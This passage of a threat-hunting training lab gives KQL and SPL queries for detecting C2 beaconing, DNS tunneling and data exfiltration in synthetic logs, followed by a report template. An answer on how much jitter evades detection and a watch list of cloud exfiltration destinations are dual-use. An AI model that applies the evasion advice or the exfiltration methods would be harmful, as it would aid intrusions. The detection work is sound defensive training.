{"TimeGenerated": "2026-03-12T03:33:00Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 245, "BytesReceived": 1024, "Protocol": "TCP", "Duration": 0.8}
{"TimeGenerated": "2026-03-12T03:34:02Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 248, "BytesReceived": 512, "Protocol": "TCP", "Duration": 0.6}
{"TimeGenerated": "2026-03-12T03:35:05Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 241, "BytesReceived": 512, "Protocol": "TCP", "Duration": 0.7}
{"TimeGenerated": "2026-03-12T03:35:58Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 250, "BytesReceived": 1536, "Protocol": "TCP", "Duration": 1.2}
{"TimeGenerated": "2026-03-12T03:37:03Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 243, "BytesReceived": 512, "Protocol": "TCP", "Duration": 0.5}
{"TimeGenerated": "2026-03-12T03:38:01Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 246, "BytesReceived": 512, "Protocol": "TCP", "Duration": 0.6}
{"TimeGenerated": "2026-03-12T03:39:04Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 244, "BytesReceived": 2048, "Protocol": "TCP", "Duration": 1.5}
{"TimeGenerated": "2026-03-12T03:40:00Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 247, "BytesReceived": 512, "Protocol": "TCP", "Duration": 0.7}
{"TimeGenerated": "2026-03-12T08:15:00Z", "SourceIP": "10.50.1.15", "DestIP": "203.0.113.100", "DestPort": 443, "BytesSent": 15360, "BytesReceived": 524288, "Protocol": "TCP", "Duration": 12.3}
{"TimeGenerated": "2026-03-12T08:15:45Z", "SourceIP": "10.50.1.22", "DestIP": "203.0.113.101", "DestPort": 443, "BytesSent": 8192, "BytesReceived": 131072, "Protocol": "TCP", "Duration": 8.1}
Step 1: High-Frequency Connection Detection¶
Find source-destination pairs with unusually high connection counts — a signature of beaconing.
// Exercise 3.1 — Top talkers to external IPs (connection frequency)
NetworkCommunicationEvents
| where TimeGenerated > ago(7d)
| where DestinationPort in (80, 443)
// Exclude internal-to-internal
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| where not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
| where not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
| summarize
ConnectionCount = count(),
TotalBytesSent = sum(SentBytes),
TotalBytesReceived = sum(ReceivedBytes),
AvgBytesSent = avg(SentBytes),
StdevBytesSent = stdev(SentBytes),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated),
DurationHours = datetime_diff('hour', max(TimeGenerated), min(TimeGenerated))
by LocalIP, RemoteIP, DestinationPort
| where ConnectionCount > 50
| extend ConnectionsPerHour = round(toreal(ConnectionCount) / max_of(DurationHours, 1), 2)
| where ConnectionsPerHour > 10
| order by ConnectionsPerHour desc
index=netflow sourcetype=netflow
(dest_port=80 OR dest_port=443)
NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*")
earliest=-7d latest=now
| stats count AS ConnectionCount,
sum(bytes_out) AS TotalBytesSent,
sum(bytes_in) AS TotalBytesReceived,
avg(bytes_out) AS AvgBytesSent,
stdev(bytes_out) AS StdevBytesSent,
earliest(_time) AS FirstSeen,
latest(_time) AS LastSeen
by src_ip dest_ip dest_port
| eval DurationHours = round((LastSeen - FirstSeen) / 3600, 2)
| where ConnectionCount > 50
| eval ConnectionsPerHour = round(ConnectionCount / max(DurationHours, 1), 2)
| where ConnectionsPerHour > 10
| sort -ConnectionsPerHour
| convert ctime(FirstSeen) ctime(LastSeen)
Step 2: Jitter Analysis — Time-Series Beacon Detection¶
True beacons have consistent inter-connection intervals. Calculate the coefficient of variation (standard deviation / mean) of connection intervals — low values indicate beaconing.
// Exercise 3.2 — Beacon jitter analysis using time-series
// Step 1: Get connection times for each src-dst pair
let connection_times = NetworkCommunicationEvents
| where TimeGenerated > ago(7d)
| where DestinationPort in (80, 443)
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| project TimeGenerated, LocalIP, RemoteIP
| order by LocalIP, RemoteIP, TimeGenerated asc;
// Step 2: Calculate intervals using serialize and prev()
connection_times
| serialize
| extend PrevTime = prev(TimeGenerated, 1),
PrevLocal = prev(LocalIP, 1),
PrevRemote = prev(RemoteIP, 1)
| where LocalIP == PrevLocal and RemoteIP == PrevRemote
| extend IntervalSeconds = datetime_diff('second', TimeGenerated, PrevTime)
| where IntervalSeconds > 0 and IntervalSeconds < 3600 // Ignore gaps > 1hr
| summarize
ConnectionCount = count(),
MeanInterval = avg(IntervalSeconds),
StdevInterval = stdev(IntervalSeconds),
MinInterval = min(IntervalSeconds),
MaxInterval = max(IntervalSeconds)
by LocalIP, RemoteIP
| where ConnectionCount > 20
| extend CoefficientOfVariation = round(StdevInterval / MeanInterval, 4)
// Low CoV = highly regular = likely beacon
// Typical beacons: CoV < 0.20 (20% jitter or less)
| where CoefficientOfVariation < 0.20
| extend EstimatedBeaconInterval = strcat(tostring(round(MeanInterval, 0)), "s +/- ",
tostring(round(StdevInterval, 1)), "s")
| project LocalIP, RemoteIP, ConnectionCount, EstimatedBeaconInterval,
CoefficientOfVariation, MeanInterval, MinInterval, MaxInterval
| order by CoefficientOfVariation asc
// Beacon jitter analysis — calculate inter-connection intervals
index=netflow sourcetype=netflow
(dest_port=80 OR dest_port=443)
NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*")
earliest=-7d latest=now
| sort src_ip dest_ip _time
| streamstats current=f last(_time) AS PrevTime by src_ip dest_ip
| eval IntervalSeconds = _time - PrevTime
| where isnotnull(IntervalSeconds) AND IntervalSeconds > 0
AND IntervalSeconds < 3600
| stats count AS ConnectionCount,
avg(IntervalSeconds) AS MeanInterval,
stdev(IntervalSeconds) AS StdevInterval,
min(IntervalSeconds) AS MinInterval,
max(IntervalSeconds) AS MaxInterval
by src_ip dest_ip
| where ConnectionCount > 20
| eval CoefficientOfVariation = round(StdevInterval / MeanInterval, 4)
| where CoefficientOfVariation < 0.20
| eval EstimatedBeaconInterval = round(MeanInterval, 0) . "s +/- "
. round(StdevInterval, 1) . "s"
| table src_ip dest_ip ConnectionCount EstimatedBeaconInterval
CoefficientOfVariation MeanInterval MinInterval MaxInterval
| sort CoefficientOfVariation
Expected Results:
| Source | Destination | Connections | Beacon Interval | CoV | Verdict |
|---|---|---|---|---|---|
| 10.50.1.42 | 192.0.2.41 | 8,640+ | 60s +/- 3.2s | 0.053 | C2 BEACON — 60-second interval with ~5% jitter |
Interpreting Coefficient of Variation
- CoV < 0.05: Almost perfectly regular — likely automated C2 beacon with minimal jitter
- CoV 0.05–0.15: Regular with moderate jitter — likely a beacon with randomized sleep
- CoV 0.15–0.30: Semi-regular — could be beacon or automated polling (e.g., software updates)
- CoV > 0.30: Irregular — likely human-driven or non-beacon traffic
Step 3: DNS Beaconing Detection¶
Some C2 frameworks use DNS queries as a covert channel. Hunt for hosts making excessive queries to a single domain.
Sample Data — DNS Query Records¶
{"TimeGenerated": "2026-03-12T03:35:00Z", "SourceIP": "10.50.1.42", "QueryName": "aGVsbG8.cdn-analytics.example.com", "QueryType": "TXT", "ResponseCode": "NOERROR", "ResponseData": "dGhpcyBpcyBhIHRlc3Q="}
{"TimeGenerated": "2026-03-12T03:35:30Z", "SourceIP": "10.50.1.42", "QueryName": "d29ybGQ.cdn-analytics.example.com", "QueryType": "TXT", "ResponseCode": "NOERROR", "ResponseData": "cmVzcG9uc2UgZGF0YQ=="}
{"TimeGenerated": "2026-03-12T03:36:00Z", "SourceIP": "10.50.1.42", "QueryName": "bWVzc2FnZQ.cdn-analytics.example.com", "QueryType": "TXT", "ResponseCode": "NOERROR", "ResponseData": "Y29tbWFuZCByZXN1bHQ="}
{"TimeGenerated": "2026-03-12T03:36:31Z", "SourceIP": "10.50.1.42", "QueryName": "ZXhmaWx0.cdn-analytics.example.com", "QueryType": "TXT", "ResponseCode": "NOERROR", "ResponseData": "ZGF0YSBwYXlsb2Fk"}
{"TimeGenerated": "2026-03-12T08:00:15Z", "SourceIP": "10.50.1.15", "QueryName": "www.news.example.com", "QueryType": "A", "ResponseCode": "NOERROR", "ResponseData": "203.0.113.50"}
{"TimeGenerated": "2026-03-12T08:00:16Z", "SourceIP": "10.50.1.22", "QueryName": "mail.aegis.example.com", "QueryType": "A", "ResponseCode": "NOERROR", "ResponseData": "172.16.10.10"}
Synthetic DNS Beacon Indicators
Notice the subdomain labels (aGVsbG8, d29ybGQ, etc.) are Base64-encoded strings — a hallmark of DNS tunneling. The TXT query/response type is commonly abused for data exfiltration and C2 commands.
// Exercise 3.3 — DNS beaconing detection
// High-frequency queries to a single parent domain with high subdomain entropy
DnsEvents
| where TimeGenerated > ago(7d)
| where QueryType in ("TXT", "CNAME", "MX") // Commonly abused types
| extend ParentDomain = strcat(
tostring(split(Name, ".")[-2]), ".",
tostring(split(Name, ".")[-1]))
| extend SubdomainLabel = tostring(split(Name, ".")[0])
| extend SubdomainLength = strlen(SubdomainLabel)
| summarize
QueryCount = count(),
UniqueSubdomains = dcount(SubdomainLabel),
AvgSubdomainLength = round(avg(SubdomainLength), 1),
MaxSubdomainLength = max(SubdomainLength),
SampleQueries = make_set(Name, 5),
QueryingHosts = make_set(ClientIP, 10)
by ParentDomain
| where QueryCount > 100
| where UniqueSubdomains > 50
| where AvgSubdomainLength > 8 // Base64 labels tend to be long
| order by QueryCount desc
// DNS beaconing — high-frequency TXT/CNAME queries with unique subdomains
index=dns sourcetype=dns
(query_type=TXT OR query_type=CNAME OR query_type=MX)
earliest=-7d latest=now
| rex field=query "^(?<subdomain>[^.]+)\.(?<parent_domain>[^.]+\.[^.]+)$"
| eval subdomain_length = len(subdomain)
| stats count AS QueryCount,
dc(subdomain) AS UniqueSubdomains,
avg(subdomain_length) AS AvgSubdomainLength,
max(subdomain_length) AS MaxSubdomainLength,
values(query) AS SampleQueries,
values(src_ip) AS QueryingHosts
by parent_domain
| where QueryCount > 100
| where UniqueSubdomains > 50
| where AvgSubdomainLength > 8
| sort -QueryCount
Expected Results:
| Parent Domain | Queries | Unique Subdomains | Avg Length | Analysis |
|---|---|---|---|---|
| cdn-analytics.example.com | 12,096 | 11,847 | 14.3 | DNS C2 CHANNEL — TXT queries with Base64-encoded subdomains from 10.50.1.42 |
Step 4: Visualize Beacon Pattern with Time-Series¶
// Exercise 3.4 — Time-series visualization of beacon traffic
NetworkCommunicationEvents
| where TimeGenerated > ago(2d)
| where LocalIP == "10.50.1.42"
| where RemoteIP == "192.0.2.41"
| make-series ConnectionCount = count()
on TimeGenerated
from ago(2d) to now()
step 5m
| render timechart
// Expected: a flat, consistent line of ~5 connections per 5-min bucket
// (one connection per minute = 5 per 5-min bucket)
KQL's make-series Advantage
KQL's make-series operator is specifically designed for time-series analysis. It fills gaps with zeros (unlike summarize bin()) and supports built-in anomaly detection functions like series_decompose_anomalies(). This is one area where KQL has a distinct advantage over SPL for beacon hunting.
Challenge Questions — Exercise 3¶
Challenge 3.1
Q: The beacon interval is ~60 seconds with ~5% jitter (CoV = 0.053). Calculate the expected jitter range in seconds. If you wanted to evade this detection, what jitter percentage would you recommend?
A: With a 60-second mean and 5% CoV, the standard deviation is ~3.2 seconds. The jitter range is approximately 53–67 seconds (mean +/- 2 standard deviations). To evade CoV-based detection (threshold < 0.20), an attacker would need CoV > 0.30, meaning a standard deviation of 18+ seconds on a 60-second base — roughly 30% jitter. However, too much jitter reduces C2 responsiveness.
Challenge 3.2
Q: Write a KQL query using series_decompose_anomalies() to automatically detect anomalous spikes in DNS query volume per host.
A:
DnsEvents
| where TimeGenerated > ago(7d)
| make-series QueryCount = count()
on TimeGenerated
from ago(7d) to now()
step 1h
by ClientIP
| extend (anomalies, score, baseline) =
series_decompose_anomalies(QueryCount, 2.5)
| mv-expand TimeGenerated to typeof(datetime),
QueryCount to typeof(long),
anomalies to typeof(int),
score to typeof(double)
| where anomalies == 1 // Positive anomaly (spike)
| project TimeGenerated, ClientIP, QueryCount,
AnomalyScore = round(score, 2)
| order by AnomalyScore desc
Challenge 3.3
Q: Why is TXT the most commonly abused DNS record type for C2, and what other record types can be used?
A: TXT records can carry arbitrary text data (up to 65,535 bytes in theory, ~255 per string in practice), making them ideal for encoding commands and exfiltrated data. Other abusable types: (1) CNAME — limited but useful for short commands, (2) MX — rarely filtered but limited payload, (3) NULL — can carry binary data, (4) AAAA — encode data in IPv6 addresses. Detection should monitor all unusual query types, not just TXT.
Exercise 4 — Data Exfiltration Hunting (60 min)¶
Objective¶
Detect data exfiltration from Aegis Financial Group through DNS tunneling, large data transfers, and encrypted channel abuse.
Scenario Context¶
Hunt Hypothesis 4
Hypothesis: After gaining access to the financial database (DB01) and file server (FS01), the adversary exfiltrated sensitive data. Exfiltration methods may include: DNS tunneling (already partially identified), large outbound transfers to external IPs, or abuse of legitimate cloud services.
MITRE ATT&CK: T1048.001 (Exfiltration Over Symmetric Encrypted Non-C2 Protocol), T1048.003 (Exfiltration Over Unencrypted Protocol), T1567.002 (Exfiltration to Cloud Storage), T1041 (Exfiltration Over C2 Channel)
Data Sources: Network Flows, DNS Queries, Proxy Logs, Firewall Logs
Sample Data — Outbound Transfer Records¶
{"TimeGenerated": "2026-03-14T20:00:15Z", "SourceIP": "10.50.50.5", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 52428800, "BytesReceived": 1024, "Duration": 185.3, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-14T20:15:33Z", "SourceIP": "10.50.50.5", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 48234496, "BytesReceived": 512, "Duration": 162.7, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-14T20:30:02Z", "SourceIP": "10.50.50.5", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 55574528, "BytesReceived": 1024, "Duration": 198.1, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-14T20:45:18Z", "SourceIP": "10.50.50.5", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 41943040, "BytesReceived": 512, "Duration": 145.6, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-14T21:00:44Z", "SourceIP": "10.50.50.5", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 36700160, "BytesReceived": 1024, "Duration": 130.2, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-12T09:00:00Z", "SourceIP": "10.50.1.15", "DestIP": "203.0.113.200", "DestPort": 443, "BytesSent": 2048, "BytesReceived": 524288, "Duration": 5.2, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-12T09:01:00Z", "SourceIP": "10.50.1.22", "DestIP": "203.0.113.201", "DestPort": 443, "BytesSent": 4096, "BytesReceived": 1048576, "Duration": 8.7, "Protocol": "TCP"}
Step 1: Outbound Volume Anomalies¶
Identify hosts sending abnormally large amounts of data externally.
// Exercise 4.1 — Outbound data volume anomalies
// Calculate per-host daily upload volume and flag outliers
let daily_uploads = NetworkCommunicationEvents
| where TimeGenerated > ago(7d)
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| where not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
| where not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
| summarize
DailyBytesSent = sum(SentBytes),
ConnectionCount = count(),
DistinctDestinations = dcount(RemoteIP)
by LocalIP, Day = bin(TimeGenerated, 1d);
// Calculate baseline stats per host
let host_baselines = daily_uploads
| summarize
AvgDailyUpload = avg(DailyBytesSent),
StdDailyUpload = stdev(DailyBytesSent)
by LocalIP;
// Flag days where upload exceeds baseline by 3+ standard deviations
daily_uploads
| join kind=inner host_baselines on LocalIP
| where StdDailyUpload > 0
| extend ZScore = round((DailyBytesSent - AvgDailyUpload) / StdDailyUpload, 2)
| where ZScore > 3
| extend DailyUploadMB = round(toreal(DailyBytesSent) / 1048576, 2)
| project Day, LocalIP, DailyUploadMB, ZScore,
ConnectionCount, DistinctDestinations
| order by ZScore desc
// Outbound volume anomaly — z-score per host per day
index=netflow sourcetype=netflow
NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*")
earliest=-7d latest=now
| bin _time span=1d AS Day
| stats sum(bytes_out) AS DailyBytesSent,
count AS ConnectionCount,
dc(dest_ip) AS DistinctDestinations
by src_ip Day
| eventstats avg(DailyBytesSent) AS AvgDailyUpload,
stdev(DailyBytesSent) AS StdDailyUpload
by src_ip
| where StdDailyUpload > 0
| eval ZScore = round((DailyBytesSent - AvgDailyUpload) / StdDailyUpload, 2)
| where ZScore > 3
| eval DailyUploadMB = round(DailyBytesSent / 1048576, 2)
| table Day src_ip DailyUploadMB ZScore ConnectionCount DistinctDestinations
| sort -ZScore
Expected Results:
| Day | Host | Upload (MB) | Z-Score | Analysis |
|---|---|---|---|---|
| 2026-03-14 | 10.50.50.5 (WS-CFO-01) | 223.7 | 8.41 | EXFILTRATION — 223 MB uploaded to single external IP on a day when the host's baseline is ~2 MB |
Step 2: DNS Tunneling Volume Estimation¶
Calculate the data volume being exfiltrated through DNS queries by measuring query payload sizes.
// Exercise 4.2 — DNS tunneling volume estimation
DnsEvents
| where TimeGenerated > ago(7d)
| where Name endswith "cdn-analytics.example.com"
| extend SubdomainLabel = tostring(split(Name, ".")[0])
| extend PayloadBytes = strlen(SubdomainLabel) * 6 / 8 // Base64: 6 bits per char
| summarize
TotalQueries = count(),
EstimatedExfilBytes = sum(PayloadBytes),
UniqueLabels = dcount(SubdomainLabel),
QueriesPerHour = count() / max_of(datetime_diff('hour',
max(TimeGenerated), min(TimeGenerated)), 1),
FirstQuery = min(TimeGenerated),
LastQuery = max(TimeGenerated)
by ClientIP
| extend EstimatedExfilKB = round(toreal(EstimatedExfilBytes) / 1024, 2)
| project ClientIP, TotalQueries, EstimatedExfilKB,
UniqueLabels, QueriesPerHour, FirstQuery, LastQuery
// DNS tunneling exfil volume estimation
index=dns sourcetype=dns query="*.cdn-analytics.example.com"
earliest=-7d latest=now
| rex field=query "^(?<subdomain>[^.]+)\."
| eval payload_bytes = len(subdomain) * 6 / 8
| stats sum(payload_bytes) AS EstimatedExfilBytes,
count AS TotalQueries,
dc(subdomain) AS UniqueLabels,
earliest(_time) AS FirstQuery,
latest(_time) AS LastQuery
by src_ip
| eval EstimatedExfilKB = round(EstimatedExfilBytes / 1024, 2)
| eval Duration_hours = round((LastQuery - FirstQuery) / 3600, 2)
| eval QueriesPerHour = round(TotalQueries / max(Duration_hours, 1), 2)
| table src_ip TotalQueries EstimatedExfilKB UniqueLabels QueriesPerHour
| convert ctime(FirstQuery) ctime(LastQuery)
Expected Results:
| Host | Queries | Estimated Exfil (KB) | Analysis |
|---|---|---|---|
| 10.50.1.42 | 12,096 | ~106 KB | DNS TUNNELING — slow but steady exfil channel operating alongside the HTTPS bulk transfer |
Step 3: Upload/Download Ratio Analysis¶
Legitimate browsing has a high download-to-upload ratio. Exfiltration inverts this ratio.
// Exercise 4.3 — Upload/Download ratio anomalies (inverted traffic patterns)
NetworkCommunicationEvents
| where TimeGenerated > ago(7d)
| where DestinationPort in (80, 443)
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| where not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
| where not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
| summarize
TotalSent = sum(SentBytes),
TotalReceived = sum(ReceivedBytes),
ConnectionCount = count()
by LocalIP, RemoteIP
| where TotalSent > 1048576 // > 1 MB sent
| extend UploadDownloadRatio = round(toreal(TotalSent) / max_of(TotalReceived, 1), 2)
| where UploadDownloadRatio > 5.0 // Sending 5x more than receiving
| extend TotalSentMB = round(toreal(TotalSent) / 1048576, 2),
TotalReceivedMB = round(toreal(TotalReceived) / 1048576, 2)
| project LocalIP, RemoteIP, TotalSentMB, TotalReceivedMB,
UploadDownloadRatio, ConnectionCount
| order by UploadDownloadRatio desc
// Upload/Download ratio — flag inverted traffic patterns
index=netflow sourcetype=netflow
(dest_port=80 OR dest_port=443)
NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*")
earliest=-7d latest=now
| stats sum(bytes_out) AS TotalSent,
sum(bytes_in) AS TotalReceived,
count AS ConnectionCount
by src_ip dest_ip
| where TotalSent > 1048576
| eval UploadDownloadRatio = round(TotalSent / max(TotalReceived, 1), 2)
| where UploadDownloadRatio > 5.0
| eval TotalSentMB = round(TotalSent / 1048576, 2)
| eval TotalReceivedMB = round(TotalReceived / 1048576, 2)
| table src_ip dest_ip TotalSentMB TotalReceivedMB
UploadDownloadRatio ConnectionCount
| sort -UploadDownloadRatio
Expected Results:
| Source | Destination | Sent (MB) | Received (MB) | Ratio | Analysis |
|---|---|---|---|---|---|
| 10.50.50.5 | 192.0.2.41 | 223.7 | 0.004 | 55,925:1 | MASSIVE EXFIL — nearly all traffic is outbound |
| 10.50.1.42 | 192.0.2.41 | 1.8 | 0.9 | 2.0:1 | C2 traffic — roughly balanced (commands in, results out) |
Step 4: Cloud Storage Exfiltration Detection¶
Monitor for uploads to cloud storage services (legitimate services abused for exfiltration).
// Exercise 4.4 — Cloud storage exfiltration via proxy logs
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where DeviceVendor == "BlueCoat" or DeviceVendor == "Zscaler"
| where RequestURL has_any (
"blob.core.windows.net",
"s3.amazonaws.com",
"storage.googleapis.com",
"drive.google.com",
"dropbox.com",
"mega.nz",
"pastebin.com"
)
| where RequestMethod in ("POST", "PUT")
| summarize
UploadCount = count(),
TotalBytesSent = sum(SentBytes),
DistinctURLs = dcount(RequestURL),
SampleURLs = make_set(RequestURL, 5)
by SourceIP, DestinationHostName
| where TotalBytesSent > 5242880 // > 5 MB uploaded
| extend TotalSentMB = round(toreal(TotalBytesSent) / 1048576, 2)
| order by TotalSentMB desc
// Cloud storage exfiltration via proxy logs
index=proxy sourcetype=bluecoat
(cs_uri_path="*blob.core.windows.net*"
OR cs_uri_path="*s3.amazonaws.com*"
OR cs_uri_path="*storage.googleapis.com*"
OR cs_uri_path="*drive.google.com*"
OR cs_uri_path="*dropbox.com*"
OR cs_uri_path="*mega.nz*"
OR cs_uri_path="*pastebin.com*")
(cs_method=POST OR cs_method=PUT)
earliest=-7d latest=now
| stats count AS UploadCount,
sum(sc_bytes) AS TotalBytesSent,
dc(cs_uri_path) AS DistinctURLs,
values(cs_uri_path) AS SampleURLs
by c_ip s_ip
| where TotalBytesSent > 5242880
| eval TotalSentMB = round(TotalBytesSent / 1048576, 2)
| sort -TotalSentMB
Exfiltration Summary — Exercise 4
Two exfiltration channels identified:
| Channel | Source | Destination | Volume | Method |
|---|---|---|---|---|
| HTTPS bulk transfer | WS-CFO-01 (10.50.50.5) | 192.0.2.41:443 | ~223 MB | 5 large uploads over 1 hour (T1041) |
| DNS tunneling | WS-HR-042 (10.50.1.42) | cdn-analytics.example.com | ~106 KB | 12,096 TXT queries over 5 days (T1048.003) |
Combined exfiltration: ~224 MB of data stolen from financial database and file server.
Challenge Questions — Exercise 4¶
Challenge 4.1
Q: Why would an adversary use two different exfiltration channels (HTTPS bulk + DNS tunneling)?
A: The DNS tunnel serves as a low-bandwidth persistent channel for ongoing C2 communication and small data extraction (credentials, configs). The HTTPS bulk transfer is the primary exfiltration channel for large data sets. Using two channels provides redundancy — if one is detected and blocked, the other can continue. The DNS channel is harder to detect and may survive even after the C2 IP is blocklisted.
Challenge 4.2
Q: Write a KQL query to detect "low and slow" exfiltration — hosts that upload a consistent small amount daily (e.g., 1–5 MB/day) over many days, which might fly under volume-based thresholds.
A:
NetworkCommunicationEvents
| where TimeGenerated > ago(30d)
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| where not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
| where not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
| summarize DailySent = sum(SentBytes) by LocalIP, RemoteIP,
Day = bin(TimeGenerated, 1d)
| summarize
DaysActive = dcount(Day),
AvgDailySentMB = round(avg(DailySent) / 1048576, 2),
TotalSentMB = round(sum(DailySent) / 1048576, 2),
StdDailySent = stdev(DailySent)
by LocalIP, RemoteIP
| where DaysActive > 7 // Active for over a week
| where AvgDailySentMB between (1.0 .. 10.0) // Low daily volume
| extend ConsistencyScore = round(StdDailySent / avg_of(AvgDailySentMB * 1048576, 1), 2)
| where ConsistencyScore < 0.5 // Consistent daily uploads
| order by TotalSentMB desc
Challenge 4.3
Q: What is the maximum theoretical throughput of DNS tunneling using TXT records? Why is DNS tunneling slow compared to HTTPS?
A: Theoretical maximum: ~18.5 KB/s using aggressive techniques (maximum-length labels, multiple subdomains, fast query rates). In practice, DNS tunneling tools like dnscat2 or iodine achieve 1–5 KB/s. It is slow because: (1) DNS queries are stateless — each requires a round trip, (2) label length is limited to 63 characters (RFC 1035), (3) total domain name limited to 253 characters, (4) aggressive querying triggers rate limits and detection, (5) many resolvers and firewalls cache responses, reducing throughput.
Exercise 5 — Threat Hunt Report & Hypothesis Development (45 min)¶
Objective¶
Synthesize all findings from Exercises 1–4 into a structured threat hunt report. Practice writing formal documentation that communicates findings to stakeholders.
Scenario Context¶
Reporting Requirements
You have completed the threat hunt for Aegis Financial Group. The CISO expects a formal report covering:
- Executive Summary (non-technical, for C-suite)
- Hunt Hypotheses and Methodology
- Detailed Findings with Evidence
- MITRE ATT&CK Mapping
- Recommendations and Next Steps
- New Detection Rules Derived from Hunt
Step 1: Report Template¶
Use this structure for your threat hunt report. Fill in the sections based on your findings.
# THREAT HUNT REPORT
## Aegis Financial Group — Hunt ID: TH-2026-0042
### Classification: CONFIDENTIAL
### Date: 2026-03-17
### Lead Analyst: [Your Name]
### Authorization: CISO — Signed 2026-03-18
---
## 1. Executive Summary
A proactive 7-day threat hunt was conducted across Aegis Financial Group's
environment following a threat intelligence advisory about SYNTHETIC-LEOPARD
targeting the financial sector. The hunt confirmed an active intrusion with
the following key findings:
- **One compromised user account** (kpatel) — initial access via
spear-phishing
- **Lateral movement** to 4 hosts including the CFO workstation and
financial database server
- **Two active C2 channels** — HTTPS beaconing and DNS tunneling
- **Approximately 224 MB of data exfiltrated** from the financial database
- **Estimated dwell time: 5+ days** (2026-03-12 through at least 2026-03-17)
**Risk Level: CRITICAL**
**Recommended Action: Activate Incident Response Plan immediately.**
---
## 2. Hunt Hypotheses
| ID | Hypothesis | Status | Confidence |
|----|-----------|--------|------------|
| H1 | Compromised account shows authentication anomalies | CONFIRMED | HIGH |
| H2 | Attacker moved laterally using stolen credentials | CONFIRMED | HIGH |
| H3 | C2 beaconing present in network traffic | CONFIRMED | HIGH |
| H4 | Data exfiltration occurred via covert channels | CONFIRMED | HIGH |
---
## 3. Methodology
- **Framework:** PEAK (Prepare, Execute, Act, Knowledge)
- **Data Sources:** Windows Security Events, Sysmon, Network Flows,
DNS Logs, Proxy Logs
- **Query Languages:** KQL (Microsoft Sentinel), SPL (Splunk)
- **Analysis Techniques:**
- Behavioral baseline comparison (z-score analysis)
- Time-series decomposition (beacon interval analysis)
- Statistical anomaly detection (coefficient of variation)
- Graph analysis (lateral movement path reconstruction)
---
## 4. Detailed Findings
### Finding 1: Account Compromise — AEGIS\kpatel
[Evidence from Exercise 1...]
### Finding 2: Lateral Movement Chain
[Evidence from Exercise 2...]
### Finding 3: Dual C2 Channels
[Evidence from Exercise 3...]
### Finding 4: Data Exfiltration (~224 MB)
[Evidence from Exercise 4...]
---
## 5. MITRE ATT&CK Mapping
| Tactic | Technique | ID | Evidence |
|--------|-----------|-----|---------|
| Initial Access | Spear-Phishing Link | T1566.002 | Outlook spawned cmd.exe |
| Execution | Command-Line Interface | T1059.001 | cmd.exe recon commands |
| Discovery | Account Discovery | T1087.002 | net group "Domain Admins" |
| Discovery | Remote System Discovery | T1018 | nltest /dclist |
| Discovery | System Owner/User Discovery | T1033 | whoami /all |
| Credential Access | OS Credential Dumping | T1003 | Pass-the-Hash (inferred) |
| Lateral Movement | Pass the Hash | T1550.002 | NTLM KeyLength=0 |
| Lateral Movement | Remote Desktop Protocol | T1021.001 | RDP pivot chain |
| Lateral Movement | SMB/Windows Admin Shares | T1021.002 | SMB to DB01 port 445 |
| Command & Control | Web Protocols | T1071.001 | HTTPS beacon to 192.0.2.41 |
| Command & Control | DNS | T1071.004 | DNS TXT beaconing |
| Command & Control | Standard Encoding | T1132.001 | Base64 in DNS labels |
| Exfiltration | Exfil Over C2 Channel | T1041 | 223 MB HTTPS upload |
| Exfiltration | Exfil Over Alternative Protocol | T1048 | DNS tunneling |
| Ingress Tool Transfer | Ingress Tool Transfer | T1105 | certutil download |
| Persistence | (Suspected) | TBD | Requires IR investigation |
---
## 6. Recommendations
### Immediate (within 24 hours)
1. Activate Incident Response Plan — this is an active breach
2. Isolate WS-HR-042 (10.50.1.42) and WS-CFO-01 (10.50.50.5) from network
3. Reset credentials: kpatel, admin-kpatel, and all accounts that
authenticated to compromised hosts
4. Block C2 infrastructure: 192.0.2.41, cdn-analytics.example.com
5. Preserve forensic images of all affected hosts
### Short-term (within 1 week)
6. Deploy detection rules for all identified TTPs (see Section 7)
7. Conduct full AD password reset for Domain Admins group
8. Review backup integrity — DB01 data may be corrupted or backdoored
9. Engage legal counsel re: financial data breach notification requirements
### Long-term (within 30 days)
10. Implement network segmentation between workstation and server subnets
11. Deploy MFA for all RDP and privileged account access
